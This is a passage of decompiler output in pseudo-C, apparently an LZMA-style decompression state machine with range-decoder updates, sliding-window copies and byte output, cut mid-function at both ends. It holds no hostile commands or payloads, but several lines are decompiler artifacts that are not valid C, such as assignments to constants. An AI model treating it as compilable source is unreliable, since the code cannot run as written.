                                      											__esi =  *(__ebp - 0x60);
                                      											__cl = 8;
                                      											__cl = 8 -  *(__ebp - 0x3c);
                                      											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                      											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                      											__ecx =  *(__ebp - 0x3c);
                                      											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                      											__ecx =  *(__ebp - 4);
                                      											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                      											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                      											__eflags =  *(__ebp - 0x38) - 4;
                                      											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                      											if( *(__ebp - 0x38) >= 4) {
                                      												__eflags =  *(__ebp - 0x38) - 0xa;
                                      												if( *(__ebp - 0x38) >= 0xa) {
                                      													_t98 = __ebp - 0x38;
                                      													 *_t98 =  *(__ebp - 0x38) - 6;
                                      													__eflags =  *_t98;
                                      												} else {
                                      													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                      												}
                                      											} else {
                                      												 *(__ebp - 0x38) = 0;
                                      											}
                                      											__eflags =  *(__ebp - 0x34) - __edx;
                                      											if( *(__ebp - 0x34) == __edx) {
                                      												__ebx = 0;
                                      												__ebx = 1;
                                      												goto L61;
                                      											} else {
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__ecx =  *(__ebp - 8);
                                      												__ebx = 0;
                                      												__ebx = 1;
                                      												__al =  *((intOrPtr*)(__eax + __ecx));
                                      												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                      												goto L41;
                                      											}
                                      										case 7:
                                      											__eflags =  *(__ebp - 0x40) - 1;
                                      											if( *(__ebp - 0x40) != 1) {
                                      												__eax =  *(__ebp - 0x24);
                                      												 *(__ebp - 0x80) = 0x16;
                                      												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      												__eax =  *(__ebp - 0x28);
                                      												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      												__eax =  *(__ebp - 0x2c);
                                      												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      												__eax = 0;
                                      												__eflags =  *(__ebp - 0x38) - 7;
                                      												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      												__al = __al & 0x000000fd;
                                      												__eax = (__eflags >= 0) - 1 + 0xa;
                                      												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                      												__eax =  *(__ebp - 4);
                                      												__eax =  *(__ebp - 4) + 0x664;
                                      												__eflags = __eax;
                                      												 *(__ebp - 0x58) = __eax;
                                      												goto L69;
                                      											}
                                      											__eax =  *(__ebp - 4);
                                      											__ecx =  *(__ebp - 0x38);
                                      											 *(__ebp - 0x84) = 8;
                                      											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                      											goto L132;
                                      										case 8:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x84) = 0xa;
                                      												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                      											} else {
                                      												__eax =  *(__ebp - 0x38);
                                      												__ecx =  *(__ebp - 4);
                                      												__eax =  *(__ebp - 0x38) + 0xf;
                                      												 *(__ebp - 0x84) = 9;
                                      												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                      											}
                                      											goto L132;
                                      										case 9:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												goto L90;
                                      											}
                                      											__eflags =  *(__ebp - 0x60);
                                      											if( *(__ebp - 0x60) == 0) {
                                      												goto L171;
                                      											}
                                      											__eax = 0;
                                      											__eflags =  *(__ebp - 0x38) - 7;
                                      											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                      											__eflags = _t259;
                                      											0 | _t259 = _t259 + _t259 + 9;
                                      											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                      											goto L76;
                                      										case 0xa:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__eax =  *(__ebp - 4);
                                      												__ecx =  *(__ebp - 0x38);
                                      												 *(__ebp - 0x84) = 0xb;
                                      												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                      												goto L132;
                                      											}
                                      											__eax =  *(__ebp - 0x28);
                                      											goto L89;
                                      										case 0xb:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												__ecx =  *(__ebp - 0x24);
                                      												__eax =  *(__ebp - 0x20);
                                      												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      											} else {
                                      												__eax =  *(__ebp - 0x24);
                                      											}
                                      											__ecx =  *(__ebp - 0x28);
                                      											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      											L89:
                                      											__ecx =  *(__ebp - 0x2c);
                                      											 *(__ebp - 0x2c) = __eax;
                                      											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      											L90:
                                      											__eax =  *(__ebp - 4);
                                      											 *(__ebp - 0x80) = 0x15;
                                      											__eax =  *(__ebp - 4) + 0xa68;
                                      											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                      											goto L69;
                                      										case 0xc:
                                      											L100:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xc;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t335 = __ebp - 0x70;
                                      											 *_t335 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t335;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											__eax =  *(__ebp - 0x2c);
                                      											goto L102;
                                      										case 0xd:
                                      											L37:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xd;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t122 = __ebp - 0x70;
                                      											 *_t122 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t122;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L39:
                                      											__eax =  *(__ebp - 0x40);
                                      											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                      												goto L48;
                                      											}
                                      											__eflags = __ebx - 0x100;
                                      											if(__ebx >= 0x100) {
                                      												goto L54;
                                      											}
                                      											L41:
                                      											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                      											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                      											 *(__ebp - 0x48) = __eax;
                                      											__eax = __eax + 1;
                                      											__eax = __eax << 8;
                                      											__eax = __eax + __ebx;
                                      											__esi =  *(__ebp - 0x58) + __eax * 2;
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      											__ax =  *__esi;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__edx = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												 *(__ebp - 0x40) = 1;
                                      												__cx = __ax >> 5;
                                      												__eflags = __eax;
                                      												__ebx = __ebx + __ebx + 1;
                                      												 *__esi = __ax;
                                      											} else {
                                      												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edx;
                                      												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                      												__ebx = __ebx + __ebx;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											 *(__ebp - 0x44) = __ebx;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L39;
                                      											} else {
                                      												goto L37;
                                      											}
                                      										case 0xe:
                                      											L46:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xe;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t156 = __ebp - 0x70;
                                      											 *_t156 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t156;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											while(1) {
                                      												L48:
                                      												__eflags = __ebx - 0x100;
                                      												if(__ebx >= 0x100) {
                                      													break;
                                      												}
                                      												__eax =  *(__ebp - 0x58);
                                      												__edx = __ebx + __ebx;
                                      												__ecx =  *(__ebp - 0x10);
                                      												__esi = __edx + __eax;
                                      												__ecx =  *(__ebp - 0x10) >> 0xb;
                                      												__ax =  *__esi;
                                      												 *(__ebp - 0x54) = __esi;
                                      												__edi = __ax & 0x0000ffff;
                                      												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      												__eflags =  *(__ebp - 0xc) - __ecx;
                                      												if( *(__ebp - 0xc) >= __ecx) {
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      													__cx = __ax;
                                      													_t170 = __edx + 1; // 0x1
                                      													__ebx = _t170;
                                      													__cx = __ax >> 5;
                                      													__eflags = __eax;
                                      													 *__esi = __ax;
                                      												} else {
                                      													 *(__ebp - 0x10) = __ecx;
                                      													0x800 = 0x800 - __edi;
                                      													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      													__ebx = __ebx + __ebx;
                                      													 *__esi = __cx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													continue;
                                      												} else {
                                      													goto L46;
                                      												}
                                      											}
                                      											L54:
                                      											_t173 = __ebp - 0x34;
                                      											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                      											__eflags =  *_t173;
                                      											goto L55;
                                      										case 0xf:
                                      											L58:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xf;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t203 = __ebp - 0x70;
                                      											 *_t203 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t203;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L60:
                                      											__eflags = __ebx - 0x100;
                                      											if(__ebx >= 0x100) {
                                      												L55:
                                      												__al =  *(__ebp - 0x44);
                                      												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                      												goto L56;
                                      											}
                                      											L61:
                                      											__eax =  *(__ebp - 0x58);
                                      											__edx = __ebx + __ebx;
                                      											__ecx =  *(__ebp - 0x10);
                                      											__esi = __edx + __eax;
                                      											__ecx =  *(__ebp - 0x10) >> 0xb;
                                      											__ax =  *__esi;
                                      											 *(__ebp - 0x54) = __esi;
                                      											__edi = __ax & 0x0000ffff;
                                      											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      											__eflags =  *(__ebp - 0xc) - __ecx;
                                      											if( *(__ebp - 0xc) >= __ecx) {
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      												__cx = __ax;
                                      												_t217 = __edx + 1; // 0x1
                                      												__ebx = _t217;
                                      												__cx = __ax >> 5;
                                      												__eflags = __eax;
                                      												 *__esi = __ax;
                                      											} else {
                                      												 *(__ebp - 0x10) = __ecx;
                                      												0x800 = 0x800 - __edi;
                                      												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      												__ebx = __ebx + __ebx;
                                      												 *__esi = __cx;
                                      											}
                                      											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      											 *(__ebp - 0x44) = __ebx;
                                      											if( *(__ebp - 0x10) >= 0x1000000) {
                                      												goto L60;
                                      											} else {
                                      												goto L58;
                                      											}
                                      										case 0x10:
                                      											L110:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0x10;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t366 = __ebp - 0x70;
                                      											 *_t366 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t366;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											goto L112;
                                      										case 0x11:
                                      											L69:
                                      											__esi =  *(__ebp - 0x58);
                                      											 *(__ebp - 0x84) = 0x12;
                                      											L132:
                                      											 *(_t612 - 0x54) = _t605;
                                      											goto L133;
                                      										case 0x12:
                                      											goto L0;
                                      										case 0x13:
                                      											__eflags =  *(__ebp - 0x40);
                                      											if( *(__ebp - 0x40) != 0) {
                                      												_t469 = __ebp - 0x58;
                                      												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                      												__eflags =  *_t469;
                                      												 *(__ebp - 0x30) = 0x10;
                                      												 *(__ebp - 0x40) = 8;
                                      												goto L144;
                                      											}
                                      											__eax =  *(__ebp - 0x4c);
                                      											__ecx =  *(__ebp - 0x58);
                                      											__eax =  *(__ebp - 0x4c) << 4;
                                      											 *(__ebp - 0x30) = 8;
                                      											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                      											goto L130;
                                      										case 0x14:
                                      											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                      											__eax =  *(__ebp - 0x80);
                                      											L140:
                                      											 *(_t612 - 0x88) = _t533;
                                      											goto L1;
                                      										case 0x15:
                                      											__eax = 0;
                                      											__eflags =  *(__ebp - 0x38) - 7;
                                      											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      											__al = __al & 0x000000fd;
                                      											__eax = (__eflags >= 0) - 1 + 0xb;
                                      											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                      											goto L121;
                                      										case 0x16:
                                      											__eax =  *(__ebp - 0x30);
                                      											__eflags = __eax - 4;
                                      											if(__eax >= 4) {
                                      												_push(3);
                                      												_pop(__eax);
                                      											}
                                      											__ecx =  *(__ebp - 4);
                                      											 *(__ebp - 0x40) = 6;
                                      											__eax = __eax << 7;
                                      											 *(__ebp - 0x7c) = 0x19;
                                      											 *(__ebp - 0x58) = __eax;
                                      											goto L145;
                                      										case 0x17:
                                      											goto L145;
                                      										case 0x18:
                                      											L146:
                                      											__eflags =  *(__ebp - 0x6c);
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0x18;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t484 = __ebp - 0x70;
                                      											 *_t484 =  *(__ebp - 0x70) + 1;
                                      											__eflags =  *_t484;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											L148:
                                      											_t487 = __ebp - 0x48;
                                      											 *_t487 =  *(__ebp - 0x48) - 1;
                                      											__eflags =  *_t487;
                                      											goto L149;
                                      										case 0x19:
                                      											__eflags = __ebx - 4;
                                      											if(__ebx < 4) {
                                      												 *(__ebp - 0x2c) = __ebx;
                                      												L120:
                                      												_t394 = __ebp - 0x2c;
                                      												 *_t394 =  *(__ebp - 0x2c) + 1;
                                      												__eflags =  *_t394;
                                      												L121:
                                      												__eax =  *(__ebp - 0x2c);
                                      												__eflags = __eax;
                                      												if(__eax == 0) {
                                      													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                      													goto L170;
                                      												}
                                      												__eflags = __eax -  *(__ebp - 0x60);
                                      												if(__eax >  *(__ebp - 0x60)) {
                                      													goto L171;
                                      												}
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                      												__eax =  *(__ebp - 0x30);
                                      												_t401 = __ebp - 0x60;
                                      												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                      												__eflags =  *_t401;
                                      												goto L124;
                                      											}
                                      											__ecx = __ebx;
                                      											__eax = __ebx;
                                      											__ecx = __ebx >> 1;
                                      											__eax = __ebx & 0x00000001;
                                      											__ecx = (__ebx >> 1) - 1;
                                      											__al = __al | 0x00000002;
                                      											__eax = (__ebx & 0x00000001) << __cl;
                                      											__eflags = __ebx - 0xe;
                                      											 *(__ebp - 0x2c) = __eax;
                                      											if(__ebx >= 0xe) {
                                      												__ebx = 0;
                                      												 *(__ebp - 0x48) = __ecx;
                                      												L103:
                                      												__eflags =  *(__ebp - 0x48);
                                      												if( *(__ebp - 0x48) <= 0) {
                                      													__eax = __eax + __ebx;
                                      													 *(__ebp - 0x40) = 4;
                                      													 *(__ebp - 0x2c) = __eax;
                                      													__eax =  *(__ebp - 4);
                                      													__eax =  *(__ebp - 4) + 0x644;
                                      													__eflags = __eax;
                                      													L109:
                                      													__ebx = 0;
                                      													 *(__ebp - 0x58) = __eax;
                                      													 *(__ebp - 0x50) = 1;
                                      													 *(__ebp - 0x44) = 0;
                                      													 *(__ebp - 0x48) = 0;
                                      													L113:
                                      													__eax =  *(__ebp - 0x40);
                                      													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                      														_t392 = __ebp - 0x2c;
                                      														 *_t392 =  *(__ebp - 0x2c) + __ebx;
                                      														__eflags =  *_t392;
                                      														goto L120;
                                      													}
                                      													__eax =  *(__ebp - 0x50);
                                      													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      													__eax =  *(__ebp - 0x58);
                                      													__esi = __edi + __eax;
                                      													 *(__ebp - 0x54) = __esi;
                                      													__ax =  *__esi;
                                      													__ecx = __ax & 0x0000ffff;
                                      													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                      													__eflags =  *(__ebp - 0xc) - __edx;
                                      													if( *(__ebp - 0xc) >= __edx) {
                                      														__ecx = 0;
                                      														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                      														__ecx = 1;
                                      														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                      														__ebx = 1;
                                      														__ecx =  *(__ebp - 0x48);
                                      														__ebx = 1 << __cl;
                                      														__ecx = 1 << __cl;
                                      														__ebx =  *(__ebp - 0x44);
                                      														__ebx =  *(__ebp - 0x44) | __ecx;
                                      														__cx = __ax;
                                      														__cx = __ax >> 5;
                                      														__eax = __eax - __ecx;
                                      														__edi = __edi + 1;
                                      														__eflags = __edi;
                                      														 *(__ebp - 0x44) = __ebx;
                                      														 *__esi = __ax;
                                      														 *(__ebp - 0x50) = __edi;
                                      													} else {
                                      														 *(__ebp - 0x10) = __edx;
                                      														0x800 = 0x800 - __ecx;
                                      														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                      														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      														 *__esi = __dx;
                                      													}
                                      													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      													if( *(__ebp - 0x10) >= 0x1000000) {
                                      														L112:
                                      														_t369 = __ebp - 0x48;
                                      														 *_t369 =  *(__ebp - 0x48) + 1;
                                      														__eflags =  *_t369;
                                      														goto L113;
                                      													} else {
                                      														goto L110;
                                      													}
                                      												}
                                      												__ecx =  *(__ebp - 0xc);
                                      												__ebx = __ebx + __ebx;
                                      												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                      												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      												 *(__ebp - 0x44) = __ebx;
                                      												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                      													__ecx =  *(__ebp - 0x10);
                                      													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      													__ebx = __ebx | 0x00000001;
                                      													__eflags = __ebx;
                                      													 *(__ebp - 0x44) = __ebx;
                                      												}
                                      												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      												if( *(__ebp - 0x10) >= 0x1000000) {
                                      													L102:
                                      													_t339 = __ebp - 0x48;
                                      													 *_t339 =  *(__ebp - 0x48) - 1;
                                      													__eflags =  *_t339;
                                      													goto L103;
                                      												} else {
                                      													goto L100;
                                      												}
                                      											}
                                      											__edx =  *(__ebp - 4);
                                      											__eax = __eax - __ebx;
                                      											 *(__ebp - 0x40) = __ecx;
                                      											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                      											goto L109;
                                      										case 0x1a:
                                      											L56:
                                      											__eflags =  *(__ebp - 0x64);
                                      											if( *(__ebp - 0x64) == 0) {
                                      												 *(__ebp - 0x88) = 0x1a;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x68);
                                      											__al =  *(__ebp - 0x5c);
                                      											__edx =  *(__ebp - 8);
                                      											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      											 *( *(__ebp - 0x68)) = __al;
                                      											__ecx =  *(__ebp - 0x14);
                                      											 *(__ecx +  *(__ebp - 8)) = __al;
                                      											__eax = __ecx + 1;
                                      											__edx = 0;
                                      											_t192 = __eax %  *(__ebp - 0x74);
                                      											__eax = __eax /  *(__ebp - 0x74);
                                      											__edx = _t192;
                                      											goto L80;
                                      										case 0x1b:
                                      											L76:
                                      											__eflags =  *(__ebp - 0x64);
                                      											if( *(__ebp - 0x64) == 0) {
                                      												 *(__ebp - 0x88) = 0x1b;
                                      												goto L170;
                                      											}
                                      											__eax =  *(__ebp - 0x14);
                                      											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      											__eflags = __eax -  *(__ebp - 0x74);
                                      											if(__eax >=  *(__ebp - 0x74)) {
                                      												__eax = __eax +  *(__ebp - 0x74);
                                      												__eflags = __eax;
                                      											}
                                      											__edx =  *(__ebp - 8);
                                      											__cl =  *(__eax + __edx);
                                      											__eax =  *(__ebp - 0x14);
                                      											 *(__ebp - 0x5c) = __cl;
                                      											 *(__eax + __edx) = __cl;
                                      											__eax = __eax + 1;
                                      											__edx = 0;
                                      											_t275 = __eax %  *(__ebp - 0x74);
                                      											__eax = __eax /  *(__ebp - 0x74);
                                      											__edx = _t275;
                                      											__eax =  *(__ebp - 0x68);
                                      											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      											_t284 = __ebp - 0x64;
                                      											 *_t284 =  *(__ebp - 0x64) - 1;
                                      											__eflags =  *_t284;
                                      											 *( *(__ebp - 0x68)) = __cl;
                                      											L80:
                                      											 *(__ebp - 0x14) = __edx;
                                      											goto L81;
                                      										case 0x1c:
                                      											while(1) {
                                      												L124:
                                      												__eflags =  *(__ebp - 0x64);
                                      												if( *(__ebp - 0x64) == 0) {
                                      													break;
                                      												}
                                      												__eax =  *(__ebp - 0x14);
                                      												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      												__eflags = __eax -  *(__ebp - 0x74);
                                      												if(__eax >=  *(__ebp - 0x74)) {
                                      													__eax = __eax +  *(__ebp - 0x74);
                                      													__eflags = __eax;
                                      												}
                                      												__edx =  *(__ebp - 8);
                                      												__cl =  *(__eax + __edx);
                                      												__eax =  *(__ebp - 0x14);
                                      												 *(__ebp - 0x5c) = __cl;
                                      												 *(__eax + __edx) = __cl;
                                      												__eax = __eax + 1;
                                      												__edx = 0;
                                      												_t415 = __eax %  *(__ebp - 0x74);
                                      												__eax = __eax /  *(__ebp - 0x74);
                                      												__edx = _t415;
                                      												__eax =  *(__ebp - 0x68);
                                      												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                      												__eflags =  *(__ebp - 0x30);
                                      												 *( *(__ebp - 0x68)) = __cl;
                                      												 *(__ebp - 0x14) = _t415;
                                      												if( *(__ebp - 0x30) > 0) {
                                      													continue;
                                      												} else {
                                      													L81:
                                      													 *(__ebp - 0x88) = 2;
                                      													goto L1;
                                      												}
                                      											}
                                      											 *(__ebp - 0x88) = 0x1c;
                                      											L170:
                                      											_push(0x22);
                                      											_pop(_t567);
                                      											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
                                      											_t535 = 0;
                                      											L172:
                                      											return _t535;
                                      									}
                                      								}
                                      								L171:
